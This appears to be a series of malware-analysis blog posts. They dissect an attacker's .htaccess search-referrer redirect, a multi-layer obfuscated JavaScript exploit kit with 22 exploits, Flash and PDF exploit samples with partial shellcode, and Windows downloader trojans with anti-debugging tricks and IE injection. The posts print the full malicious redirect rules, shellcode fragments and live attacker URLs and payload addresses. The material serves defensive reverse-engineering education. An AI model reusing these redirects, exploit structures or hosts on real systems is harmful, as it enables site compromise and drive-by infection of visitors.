To give you some additional insight into the attack, I am also able to share the contents of a hacked server’s .htaccess file. The miscreants upload this file to automatically redirect visitors to a site under their control.

These lines will redirect all requests for 400,401,403,404 and 500 pages to ake.kz, the attacker controlled site.

ErrorDocument 400 http://ake.kz/in.cgi?8
ErrorDocument 401 http://ake.kz/in.cgi?8
ErrorDocument 403 http://ake.kz/in.cgi?8
ErrorDocument 404 http://ake.kz/in.cgi?8
ErrorDocument 500 http://ake.kz/in.cgi?8

The following entries check to see if a user has been referred to the compromised website by a search engine. If they have, they will be automatically forwarded on to the attacker’s site, ake.kz

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ http://ake.kz/in.cgi?7 [R=301,L]

Lets take a look at what happens to the victim webserver after it gets compromised and the malware involved. To make this post more interesting I’ve decided to deliver my analysis via video! Rather than the standard nerve grating rock music that people tend to add to videos like this I have opted for my genre of choice, electronic . I’ve included virus total results, domains involved, etc at the end of the post.

Sit back, relax and enjoy the ride.

Domains / URLs involved:

71speed.info
xbx.tw/in.cgi?6
xbx.tw/in.cgi?3
zyejanag.cn/rf/
fvuligir.cn/s/in.cgi?11
84.244.138.58/ts/in.cgi?chtr&5f9d90
esli.tw/load.php?e=1
esli.tw/2/index.php
esli.tw/show.php?s=18f8bc6e98

Exploits Used:

MDAC -- MS06-014
Adobe Acroat -- CVE-2008-2992 & CVE-2009-0927
Adobe Flash Player (not sure which one)
Microsoft DirectShow & Office Web Components zero days
Microsoft Snapshot Viewer MS08-041

Virustotal Payload 1 & ThreatExpert Payload 1 -- SilentBanker -- Banking Trojan

Virustotal Payload 2 & ThreatExpert Payload 2 -- Tedroo -- SpamBot

Wepawet PDF exploit

At first glance, the sample I obtained today had neither document.write or eval. Not knowing what I was up against, I decided to debug the script in firebug. The script was wrapped as a single line of text which you can’t set individual breakpoints on. Thankfully, malzilla has a great code beautifying feature which came in handy. After formatting the code and loading it up in firebug, I noticed an unusual function being called, document.body.appendChild.

var PULksjC=document.createElement("script");
PULksjC.type="text/javascript";
PULksjC.text=AVlWGTj;
document.body.appendChild(PULksjC);

A quick read of this MSDN page and it’s easy to understand that this code is appending the contents of the AVlWGTj variable into the body tag of the current document. I’ve cut out most of the junk text, however there are a couple readable lines that appear to be setting up another javascript tag to be appended into the current document.

To get the contents of AVlWGTj, simply set a breakpoint on the corresponding line in Firebug.

After the unpacking routine, the variable contains…. more encoded text of course!

var loqxkPWh=document.createElement("script");
loqxkPWh.type="text/javascript";
loqxkPWh.text=mjTBHaN;
document.body.appendChild(loqxkPWh);

The same technique is used a second time, this time the unpacked code will be contained in mjTBHaN.

After copying out the code a second time, we are left with something more familiar.

function Ze399gTPLj(dlqiZX2l)
.....
return(zPZh3GW0Ng);
......
eval(Ze399gTPLj(kApgf4zk));

Finally an eval statement! At this point you could use the more common alert, textarea or spidermonkey techniques however I just continued in the debugger. Eval is called against the function Ze399gTPLj, so to get the fully unpacked code without executing the evil script, we must put a breakpoint on the return function within Ze399gTPLj.

Once the breakpoint on return(zPZh3GW0Ng); is hit, the code is finally fully unpacked.

The resulting unpacked code is astounding. There are no less than 22 exploits included in this piece of malware (21 active)!!!

if ( alert("1") ||
mdac() ||
dl() ||
flash() ||
pdf() ||
wme() ||
wfi() ||
com() ||
ya1() ||
ya2() ||
fb() ||
mdss() ||
creative() ||
wks() ||
ogame() ||
ca() ||
buddy() ||
gomweb() ||
xmlcore() ||
quick() ||
real() ||
ntaudio()

Here are the exploits:

MDAC – MS06-014
Sina DLoader Class ActiveX Control ‘DonwloadAndInstall’ Method Arbitrary File Download Vulnerability
Adobe Flash Player (don’t have the CVE at the moment)
Adobe Acrobat collab.CollabEmailInfo CVE-2007-5659
Microsoft Media Encoder – MS08-053
WebViewFolder setSlice – MS06-057
CreateControlRange – MS05-014
Yahoo! Messenger Webcam 8.1 ActiveX Remote Buffer Overflow Exploit x2
Facebook / Myspace – Aurigma ImageUploader ActiveX control stack buffer overflows CVE-2008-0660
Microsoft Speech API ActiveX controls contain buffer overflows CVE-2007-2222
Creative Software AutoUpdate Engine ActiveX Vulnerability CVE-2008-0955
Microsoft Works 7 ‘WkImgSrv.dll’ ActiveX Control Remote Code CVE-2008-1898
Ourgame GLWorld GLIEDown2.dll ActiveX Control Vulnerabilities – 0day
CA BrightStor ‘AddColumn()’ ListCtrl.ocx ActiveX Control Buffer Overflow Vulnerability
AOL SB.SuperBuddy.1 ActiveX Control Remote Code Execution Vulnerability CVE-2006-5820
Gretech GOM Player GomWeb3.DLL Remote Buffer Overflow Vulnerability CVE-2007-5779
Microsoft XML Core Services – MS06-071
Apple QuickTime RTSP Response Header Content-Type Remote Stack Based Buffer Overflow Vulnerability CVE-2007-6166
RealNetworks RealPlayer ActiveX controls property heap memory corruption CVE-2008-1309
Online Media Technologies NCTsoft NCTAudioFile2 ActiveX buffer overflow CVE-2007-0018
Microsoft Access Snapshot Viewer ActiveX Vulnerability MS08-041 (multi language support)

Notice how the attacker included alert(”1″) in their code? That may try to prevent automated analysis by requiring user input to actually execute the exploits.

We have learned that:

Malware authors are using document.body.appendChild to add another layer of code obfuscation
The days of exploitation kits using a relatively small number of exploits may be numbered
This code included a mind blowing 22 exploits for all manor of applications
Attackers are continuing to investigate ways of foiling automated analysis via javascript

I’ll post a couple more details when I have a chance.

*Update*

The site that begins the attack is hxxp://85.17.166.230/counter/singletrip.php, this page generates a unique ID for each infection and forwards the user onto the next hop.

Exploits: hxxp://85.17.166.231/gtest2/index.php?sid=[36 character ID]

Redirect hxxp://85.17.166.231/gtest2/load.php?id=0&sid=[36 character ID]

Payload hxxp://193.33.61.160/cntr.exe?sid=[36 character ID]

Virus Total Results

Main exploit script 0/36 detections

Payload 9/36 detections

Flash player exploit 8/36 detections

Adobe Acrobat PDF exploit 9/36 detections

Generally, flash malware is pretty challenging to analyze. The tools that are available are not as mature as their executable or javascript cousins. I had to use a variety of tools, some free, some commercial. Analyzing a flash file statically involves dissasembling the swf and/or dumping it’s contents using swfdump. It is also possible to do some additional analysis using the debugger built into Adobe Flash CS3 (30 day trial version available).

Analysis difficulties

Most flash malware is written using action script 8 or 9. Many free tools will work with one version or the other, but not both. I opted for a commercial tool (swf decompiler) so as not to worry about this issue. Due to the way the malware is written many tools do not produce an accurate disassembly. The CS3 debugger was unable to handle the files I threw at it because of the way they were written.

Please keep in mind that many flash analysis tools are not specifically meant to handle malware. Many flash tools will automatically play the swf movie once you load it. Analysis should be done in a VM with the network card disabled.

Tools

swftools (swfdump)
Sothink SWF Decompiler
Adobe Flash CS3

4562.swf
MD5 – 77AEB0248AD3BBD7B0CA5CFBEBEEEC05
Virus total results

Our first sample is a downloader/redirector written in flash. Running swfdump on the file yields some great information. I found this sample at least a month or two ago, I’m surprised AV detection is still so terrible.

[HEADER] File version: 8
[HEADER] File is zlib compressed. Ratio: 42%
[HEADER] File size: 1790
[HEADER] Frame count: 1
[....]
( 52 bytes) action: Constantpool(5 entries) String:”v” String:”/:$version” String:”http://www.seove.com.cn/” String:”f.swf” String:”_root”

This tells us the file uses flash 8 (action script 2), it has been compressed, is 1790 bytes and contains one frame (movie frame). It is pretty clear that the movie contacts seove.com.cn to download additional content, but how is the URL put together?

First, the swf must be dumped into fla format for analysis. Once decompiled we can import into CS3 and debug. The problem however is that the debugger throws a few errors relating to the strange hex characters used in the script \x01 \x02 \x04 \x05. These characters are not printable, see this ascii chart for details. The debugger does show us the contents of the $version variable however which is the key to the puzzle.

Since the debugger won’t work, we can use another technique. The flash player has a option called “simulate download” which will cause the movie to run. The output window in CS3 returns on the full URL that it is trying to connect to!

ie.swf
MD5 – 2A757228062D69539086F4E72883083A
Virus total results

This is a new sample from a few days ago. It is used as a downloader/redirector as well. AV detection is non existent.

[HEADER] File version: 9
[HEADER] File size: 142
[HEADER] Frame count: 1
[....]
[00c] 97 DOACTION
( 2 bytes) action: Jump 44
( 0 bytes) action: BitLShift
( 0 bytes) action: unknown[02]
( 0 bytes) action: End
-=> 99 02 00 2c 00 63 02 00 00 00 96 04 00 08 00 08 ™..,.c….–…..
-=> 01 1c 3c 96 02 00 08 00 1c 96 02 00 08 02 47 96 .. 02 00 08 03 1c 9a 01 00 40 07 00 00 63 02 00 fc …..š..@…c..ü
-=> ff 88 28 00 04 00 66 6c 61 73 68 63 63 56 65 72 ÿˆ(…flashccVer
-=> 73 69 6f 6e 00 2f 3a 24 76 65 72 73 69 6f 6e 00 sion./:$version.
-=> 69 2e 73 77 66 00 5f 72 6f 6f 74 00 99 02 00 a9 i.swf._root.™..©

This is a much more compact sample, only 142 bytes in size and uses Flash 9 (action script 3). SWF decompiler did not produce a detailed enough disassembly of this file, so I could only use the simulate download method on it. Again, this uses $version and references “flashcc”.

This time the malware doesn’t give us the full URL in the output window, but is good enough to lead us to the next file. Just do a search for a flashcc domain and append the rest of the URL.

i47.swf
md5 – 91428BA59E7234267DA42F9B93F00851
Virus total results

Our last sample is an exploit for CVE-2007-0071. A great analysis of this exploit is covered by Zarestel. Debugging this sample wasn’t possible as it crashed CS3. Only swfdump provided good information.

==== Error: Real Filesize (1664) doesn’t match header Filesize (1544) ====
[HEADER] File version: 9
[HEADER] File size: 1544
[HEADER] Frame count: 771
[....]
-=> 5e b2 5e 00 68 74 74 70 3a 2f 2f 73 64 66 73 64 ^²^.http://sdfsd
-=> 33 33 2e 63 6e 2f 78 7a 2f 78 2e 65 78 65 00 00 33.cn/xz/x.exe..
[....]
-=> 74 74 74 74 74 74 74 74 74 74 74 63 73 61 66 65 tttttttttttcsafe
-=> 79 75 74 69 61 6e 51 51 3a 35 33 36 36 37 37 37 yutianQQ:5366XXXX
-=> 74 74 74 74 tttt

The next stage payload is easily visible here. Also, the malware author is kind enough to leave their QQ contact number at the end of the file.

Happy hunting!

Virus Total

MD5: bccb814a5bcba72be31cdaf4e8805a7b
Filename: pdf.pdf

Simply running the file command on the pdf returns the following: pdf.pdf: PDF document, version 1.4

Running strings on pdf.pdf returns a few interesting pieces of information:

/Creator (Scribus 1.3.3.12) — The application used to publish the PDF
/Producer (Scribus PDF Library 1.3.3.12)
/CreationDate (D:20080815213135) — Creation date of document
/ModDate (D:20080815213135)
/Filter /FlateDecode — a method for compressing the pdf
/JavaScript — self explanatory, the pdf seems to have javascript in it

Knowing that the pdf is compressed, we can uncompress it with pdftk using the following:

pdftk pdf.pdf output pdf.output uncompress

With the file uncompressed, running strings on it again will yield some additional data:

function kgvy(zrb){var mpgs="";for(zviz=0;zviz<zrb.length;zviz+=2){mpgs+=(String.fromCharCode(parseInt(zrb.substr(zviz,2),16)));}eval(mpgs);}[truncated]

This is some obfuscated javascript that should be easy to make into readable text using spidermonkey.

Change the eval method to print and execute the script with SM. This will execute the javascript and print out the script in it’s readable format.

function ooyS1YUR()
{
var jKts_E9h = 0x0c0c0c0c;
var i0a7eJNL = unescape(%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33 +
%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%[truncated]

The code above contains the beginnings of some shell code which is recognizable by %u????. Further down in the javascript there is a function called Collab.collectEmailInfo. Some quick google searches will tell us that there is an exploit that takes advantage of this. See CVE-2007-5659.

Now that we have the shellcode we can very easily find out what it’s doing. First we must get rid of all the concatenating characters ” + “. Using a find and replace function in a text editor is an easy way to accomplishing this.

With the shellcode in a readable format, send it to shellcode 2 exe. We now have a .exe as output.

Simply running strings on the new exe shows the URL of the next stage malware:

CCCC
d*l/
hxxp://aolpound.com/z9QCkGo7/exe.php
Ws2_32.dll
WSAStartup

Since I’m the curious type, I’d like to know how this second stage malware is downloaded by the shellcode. Strings only showed 1 dll being referenced by the shellcode, this is very strange. More dlls are required to download and execute this file from aolpound.com.

Running the shellcode in olly makes this quite easy, simply stepping through the program we encounter a series of calls to locations in memory that are dynamically populated. This is done to evade AV detection as AV vendors look for suspicious API calls to flag a file as suspicious with heuristics. Since these APIs are called at runtime, the malware is much more stealthy.

For brevity I have only included the particularly interesting stack contents.

Now things are much clearer, the shellcode will download the file using URLDownloadToFile from urlmon.dll, execute it with WinExec from kernel32.dll and then probably delete itself using DeleteFile.

For more pdf decoding techniques, check out this article by Maarten Van Horenbeeck of the SANS Storm Center.

I’m keeping this post a little more brief by posting fewer screenshots.

MD5: 588573DC336B3695E9FDB890EEFD26DB
Virus Total Results

Anubis Results

Threat Expert Results

Sunbelt sandbox results

The Anubis scan yielded great results, but we are focusing mainly on the anti analysis tricks this time. We will quickly see how the malware downloads it’s next binary near the end of this post.

load.exe

According to xPELister, this file only imports 1 dll, very strange.

A scan of the binary with PEiD yeilds nothing.

Running strings, we get the following:

” /c del ”
” >> NUL
ntdll.dll
http://
?id=
SleepEx
GetTickCount
GetCommandLineA
Sleep
lstrcatA
GetEnvironmentVariableA
GetShortPathNameA
GetStartupInfoA
QueueUserAPC
IsDebuggerPresent
GetVersionExA
CloseHandle
GetCurrentProcessId
CreateThread
lstrcpyA
KERNEL32.dll

Due to the lack of a full URL in the strings output and the strange lack of imports, we can assume this file is packed with something. The program calls IsDebuggerPresent and GetTickCount, both can be used to look for debuggers.

Sure enough, the first function that gets called when the program is loaded in olly is IsDebuggerPresent. If a debugger is present, the value returned in the EAX register will be 1. The screenshot below was taken after letting the function execute and return 1 in EAX.

To circumvent this trick, we can simply use the Hide Debugger plugin for olly. After we reload olly and the malware, IsDebuggerPresent returns 0.

By simply stepping over the next series of instructions we encounter a call to GetTickCount. This function can be used to determine how much time has elapsed between instructions. As a debugger pauses the program’s execution, this counter will increase. At 00402480 we encounter a call to SleepEx.

Stepping into the CALL (F7) we see that the timeout parameter is FFFFFFFF or INFINITE. This will cause the program to simply wait forever and not execute any subsequent instructions, rendering debugging useless.

To bypass this, simply set a breakpoint after CALL EBP. The malware author that wrote the code for this downloader used techniques to fool disassemblers. The code changes at run time and therefore a dissasembler doesn’t know how the program flows exactly. So by making an educated guess and setting a breakpoint at the beginning of the code 00401000 we can continue on.

Stepping forward a few more instructions sends us to a section of code that sets up a file to be deleted via the command line. The malware will probably delete itself after the binary terminates.

Executing several more instructions will suddenly jump us into a new section of code which olly was previously unable to decode. This is probably due to the runtime packer used on this piece of malware.

Now that we are in this new section and we know it will contain instructions select module -> Analysis -> Analyze code.

Stepping through the code further we encounter sfc_os.dll being loaded. This dll is referenced in methods for disabling system file protection.

To wrap up our session, a file is created and written to the drive called inB.tmp.

Running strings against this new file yeilds what we’re looking for, the communication used to contact the C&C that was previously hidden.

InternetOpenA
InternetConnectA
HttpOpenRequestA
HttpSendRequestA
InternetQueryDataAvailable
InternetReadFile
InternetCloseHandle
CoInitializeEx
CoInitializeSecurity
CoCreateInstance
CoUninitialize
http://www.bot-tob.ru/hottop/gate.php?id=f84a75cd

We can now connect to the C&C with a valid bot ID and download the next few files.

Lessons Learned:

In this post we’ve learned how to spot and circumvent a check for IsDebuggerPresent by using a plugin such as hide debugger or simply changing the value of the EAX register by hand. We also learned how to avoid timing checks with GetTicketCount by setting a breakpoint immediately after the call to it. To make this work, execute to the breakpoint as soon as the program is loaded. Lastly, when jumping into an unknown section of code, it can be re-analyzed by olly selecting “analyze code”.

The file is t.exe (MD5 – E276F2C49D194DEF764A383482ECBD03).

Virus total results

Anubis report

Threat Expert report:

Sunbelt sandbox report: didn’t produce any results.

t.exe

We first start by checking to see if the file is packed to obscure it’s contents. According to PEiD, the file is not packed.

To confirm this we can quickly check the file’s ascii strings. As shown below, several strings are visible. The strings that begin with a period are the different segments that reside inside the executable. In the screenshots I am using the strings shell extension from the iDefense malware analysis pack.

Already we’ve found some clues, it references a dll called shell32.dll and a CLSID

Here’s a nice definition for CLSID

As we continue to look through the file, several more interesting strings pop up, including an IP address, more dlls and a function called WriteFile.

We’ll now start looking at the exe in a debugger (ollydbg).

After loading the file in olly, it’s easy to spot calls to windows API functions as they are highlighted in red. shell32.dll is referenced at 004022E5. The GetTempPathA call seems pretty self explanatory, so we’ll set a breakpoint on it (F2). To run the program until the breakpoint, hit F9.

We then step over (F8) the instruction and GetTempPathA will be executed. To single step into a instruction, use F7.

This function has populated the variable ConcatString with the location of the currently logged in user’s temp directory. The StringToAdd variable contains the name of the dll we saw in the strings output. Can you guess what lstrcatA does? Again, pretty self explanatory, this function concatenates two strings together.

Executing lstrcatA results in the following being stored in the EAX register.

Slightly further down, we encounter another similar block of code which is preparing another file

Continuing on in the code, CreateFileA (self explanatory) is called with 123.info as the file name. This will create a new file called 123.info in the below directory

With the file created, data will now be written to it. The following writes the full path to t.exe into the file using the WriteFile function.

We may now navigate to the directory and view the file’s contents just to double check what happened.

Looking back at the debugger, we’ve reached the end of the first code brach. There are 3 more code branches (CALLs) that get executed before the process is terminated (ExitProcess)

Stepping into the first call at 402387 opens a registry key and writes the value shell32.dll to it. InprocServer32 executes a dll on system startup. This is how the malware will start on system boot.

The 3rd call (at 00402392) is also interesting, it checks for the SeShutdownPrivilege which allows the logged in user to shutdown or reboot the PC. If the logged in user has this privilege, the malware will wait 120,000 miliseconds (2 minutes) and then call the the ExitWindowsEx function with EWX_REBOOT as the argument.  This will restart the machine.

So far we have learned: t.exe writes two dlls to the user’s temp directory. It creates a new registry key that allows shell32.dll to start on boot, and then restarts the machine. Simply looking at this piece of malware using behavioral techniques might be frustrating to an analyst since their VM would magically reboot without any notice.

Shell32.dll

We now have a new file to analyze, shell32.dll. In order to debugg a dll with olly, we need to fool the debugger into thinking the dll is an exe. Joe Stewart goes over how to do this in one of his articles. With the dll loaded, we may begin debugging.

One of the first things it does, is look at the following registry key. This key contains the path to execute your default web browser and then executes it shortly after using WinExec.

With the browser running (IE in this case), the malware creates a new running thread inside iexplore.exe using CreateRemoteThread. This thread will execute shell32.dll.

We can look at the newly loaded IE process and view the dll’s it has running. There are now two shell32.dll files, 1 legit and the second is our malware.

Now that we understand that the file gets injected into IE, we can better understand the following critical series of instructions. shell32.dll must get run on two separate occasions. The first occurs when the computer is rebooted and the malware is first loaded. The second is when the same dll is injected into IE. Each instance results in different braches of code being executed.

The following instructions are what governs which branch of code to execute. Whenever the malware is executed, it will reach the lstrcmpiA function at 00401823. It compares the string2 “explorer.exe” against string1 “shell32.dll”. When a system first boots, explorer.exe is one of the first files to load, as it is related to the Windows GUI. Explorer.exe will be the process that executes the dll for the first time via the CLSID described above. When the computer first starts and shell32.dll is run, both string1 and string2 will be equal. The comparison function at 00401829 will return 0 (the strings are equal) and the jump at 0040182C will be taken. When the dll is loaded into IE, the calling process will not equal “explorer.exe”, a non 0 result will be returned and the jump will not be taken.

When running this dll in a debugger, these two strings will never be equal. In order to follow this branch of code, you would need to set the value of the EAX register to 0 manually before executing the jump instruction. When EAX is 0, the dll performs it’s injection routine into IE. When EAX is not 0, the dll performs it’s download routine.

When the strings do not match (shell32.dll is called by iexplore.exe) the code flows to where we see the malware try and connect out. The malware creates a socket, gets an IP and calls the connect function. This portion of code will connect us to 209.160.21.76 (not visible in the screenshot below, the IP gets populated at instruction 0040149B). Unfortunately the site is down as of this writing, so I can’t see the whole interaction. You could always redirect this traffic in a lab and run netcat to intercept the communication, but I’d already spent enough time on this piece of malware.

Lastly, the malware connects using send and receive functions from WS2_32.dll and presumably write the new data onto the machine’s drive.

This was quite a long article for my first post, but I wanted to go into more detail than less. We were lucky that this malware was not packed as that would have made analysis much more difficult. Most of this information could have been gathered from simply looking at it’s strings, but that would not have given us real insight into how it does what it does.

Lessons learned:

The sandbox results do not tell us about the attempted connection to 209.160.21.76. This is probably because the site is down and the sandbox sites could not reach out and communicate. In several malware investigations, I have run across machines that have been compromised with malware for so long that the C&C they were communicating with had been shutdown. If the malware wasn’t actively trying to call home, reversing the binary might be the only way to find out who the compromised machine WAS talking to in the past. An investigator would need this information to look through firewall/proxy logs to better understand the situation.

Now that we know about SeShutdownPrivilege, we can be on the lookout for this function referenced in other malware. When performing a behavioral analysis, take into consideration that your machine could reboot itself. Set a breakpoint on ExitWindowsEx if present to prevent the reboot.

Downloader trojans can download code from hostile sites using a variety of methods, this is simply one of them. With the dll being injected into IE we know that this activity would be allowed through a corporate proxy. The malware is essentially browsing the Internet just like a normal user.

Lastly, when performing an investigation we’ve learned to look for strange dll’s injected into common processes, such as IE.